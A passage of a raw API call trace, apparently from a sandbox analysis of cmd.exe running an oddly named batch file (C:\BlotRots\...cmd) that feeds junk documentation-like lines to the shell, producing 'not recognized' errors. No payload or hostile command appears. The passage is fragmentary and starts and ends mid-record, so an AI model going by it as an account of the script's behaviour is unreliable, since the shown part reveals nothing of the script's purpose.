fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.300] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.300] GetLastError () returned 0x2 [0162.301] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.301] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.301] GetLastError () returned 0x2 [0162.301] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d030 [0162.301] FindClose (in: hFindFile=0x20b0f92d030 | out: hFindFile=0x20b0f92d030) returned 1 [0162.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.301] GetLastError () returned 0x2 [0162.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.301] GetLastError () returned 0x2 [0162.301] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.302] GetLastError () returned 0x2 [0162.302] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.303] GetLastError () returned 0x2 [0162.303] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.303] GetLastError () returned 0x2 [0162.303] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.303] GetLastError () returned 0x2 [0162.303] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.303] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.303] GetLastError () returned 0x2 [0162.303] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.303] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.303] GetLastError () returned 0x2 [0162.303] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.304] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.304] GetLastError () returned 0x2 [0162.304] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.304] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0162.304] GetLastError () returned 0x2 [0162.304] ??_V@YAXPEAX@Z () returned 0x1 [0162.304] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.304] GetFileType (hFile=0x54) returned 0x2 [0162.304] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0162.304] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0162.305] _get_osfhandle (_FileHandle=2) returned 0x54 [0162.305] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0162.305] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0162.305] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0162.305] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0162.311] ??_V@YAXPEAX@Z () returned 0x1 [0162.311] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.311] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0162.312] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.312] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0162.312] _get_osfhandle (_FileHandle=0) returned 0x4c [0162.312] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0162.312] SetConsoleInputExeNameW () returned 0x1 [0162.312] GetConsoleOutputCP () returned 0x1b5 [0162.313] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0162.313] SetThreadUILanguage (LangId=0x0) returned 0x409 [0162.315] ??_V@YAXPEAX@Z () returned 0x1 [0162.316] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0162.316] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0162.316] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.316] SetFilePointer (in: hFile=0x94, lDistanceToMove=962, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3c2 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9570a0) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957ff0) returned 1 [0162.316] GetProcessHeap () returned 0x20b0f920000 [0162.316] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0162.317] GetProcessHeap () returned 0x20b0f920000 [0162.317] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0162.317] GetProcessHeap () returned 0x20b0f920000 [0162.317] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0162.317] GetProcessHeap () returned 0x20b0f920000 [0162.317] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f957f90) returned 1 [0162.317] GetProcessHeap () returned 0x20b0f920000 [0162.318] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0162.318] GetProcessHeap () returned 0x20b0f920000 [0162.318] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0162.318] GetProcessHeap () returned 0x20b0f920000 [0162.318] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0162.318] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.318] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x3c2 [0162.318] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x13f3, lpOverlapped=0x0) returned 1 [0162.318] SetFilePointer (in: hFile=0x94, lDistanceToMove=1053, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x41d [0162.318] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=91, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 \r\nta, 7, ...\r\n \r\n") returned 91 [0162.318] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.318] GetFileType (hFile=0x94) returned 0x1 [0162.318] _get_osfhandle (_FileHandle=3) returned 0x94 [0162.318] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x41d [0162.318] GetProcessHeap () returned 0x20b0f920000 [0162.318] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946e70 [0162.319] GetProcessHeap () returned 0x20b0f920000 [0162.319] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946e70) returned 1 [0162.319] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0162.319] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0162.319] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0162.319] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0162.319] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0162.319] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0162.319] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0162.319] GetProcessHeap () returned 0x20b0f920000 [0162.319] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0162.319] GetProcessHeap () returned 0x20b0f920000 [0162.319] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0162.319] GetProcessHeap () returned 0x20b0f920000 [0162.319] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb4) returned 0x20b0f92cb10 [0162.320] _tell (_FileHandle=3) returned 1053 [0162.320] _close (_FileHandle=3) returned 0 [0162.320] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0162.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.320] GetFileType (hFile=0x50) returned 0x2 [0162.320] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.320] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0162.320] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.320] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0162.325] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0162.325] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0162.325] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0162.325] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.325] GetFileType (hFile=0x50) returned 0x2 [0162.325] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.325] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0162.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.326] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0162.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.326] GetFileType (hFile=0x50) returned 0x2 [0162.326] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.326] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.326] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.326] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0162.327] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ...3 ") returned 82 [0162.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.327] GetFileType (hFile=0x50) returned 0x2 [0162.327] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.327] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0162.327] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.327] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x52, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x52) returned 1 [0162.328] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0162.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.328] GetFileType (hFile=0x50) returned 0x2 [0162.328] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0162.328] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0162.328] _get_osfhandle (_FileHandle=1) returned 0x50 [0162.328] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee38*=0x2) returned 1 [0162.337] malloc (_Size=0xffce) returned 0x20b0fa60940 [0162.337] ??_V@YAXPEAX@Z () returned 0x20b0fa60940 [0162.338] _wcsicmp (_String1="Windows", _String2="DIR") returned 19 [0162.338] _wcsicmp (_String1="Windows", _String2="ERASE") returned 18 [0162.338] _wcsicmp (_String1="Windows", _String2="DEL") returned 19 [0162.338] _wcsicmp (_String1="Windows", _String2="TYPE") returned 3 [0162.338] _wcsicmp (_String1="Windows", _String2="COPY") returned 20 [0162.338] _wcsicmp (_String1="Windows", _String2="CD") returned 20 [0162.338] _wcsicmp (_String1="Windows", _String2="CHDIR") returned 20 [0162.338] _wcsicmp (_String1="Windows", _String2="RENAME") returned 5 [0162.338] _wcsicmp (_String1="Windows", _String2="REN") returned 5 [0162.338] _wcsicmp (_String1="Windows", _String2="ECHO") returned 18 [0162.338] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0162.338] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0162.338] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0162.338] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0162.338] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0162.338] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0162.338] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0162.338] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0162.338] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0162.338] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0162.338] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0162.338] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0162.338] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0162.338] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0162.338] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0162.338] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0162.338] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0162.338] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0162.338] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0162.338] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0162.338] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0162.339] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0162.339] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0162.339] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0162.339] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0162.339] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0162.339] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0162.339] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0162.339] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0162.339] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0162.339] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0162.339] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0162.339] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0162.339] malloc (_Size=0xffce) returned 0x20b0fa70920 [0162.339] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0162.339] GetProcessHeap () returned 0x20b0f920000 [0162.339] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f957f90 [0162.341] SetErrorMode (uMode=0x0) returned 0x0 [0162.341] SetErrorMode (uMode=0x1) returned 0x0 [0162.342] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f957fa0, lpFilePart=0x9cb92feba0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92feba0*="system32") returned 0x13 [0162.342] SetErrorMode (uMode=0x0) returned 0x1 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957f90, Size=0x48) returned 0x20b0f957f90 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f957f90) returned 0x48 [0162.342] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0162.342] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92d430 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f92e0d0 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92e0d0, Size=0x1b6) returned 0x20b0f92e0d0 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e0d0) returned 0x1b6 [0162.342] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d5f0 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d5f0, Size=0x7e) returned 0x20b0f92d5f0 [0162.342] GetProcessHeap () returned 0x20b0f920000 [0162.342] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d5f0) returned 0x7e [0162.342] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0162.342] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0x20b0f92cf10 [0162.342] FindClose (in: hFindFile=0x20b0f92cf10 | out: hFindFile=0x20b0f92cf10) returned 1 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.343] GetLastError () returned 0x2 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.343] GetLastError () returned 0x2 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.343] GetLastError () returned 0x2 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.343] GetLastError () returned 0x2 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.343] GetLastError () returned 0x2 [0162.343] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.344] GetLastError () returned 0x2 [0162.344] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe910, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe910) returned 0xffffffffffffffff [0162.344] 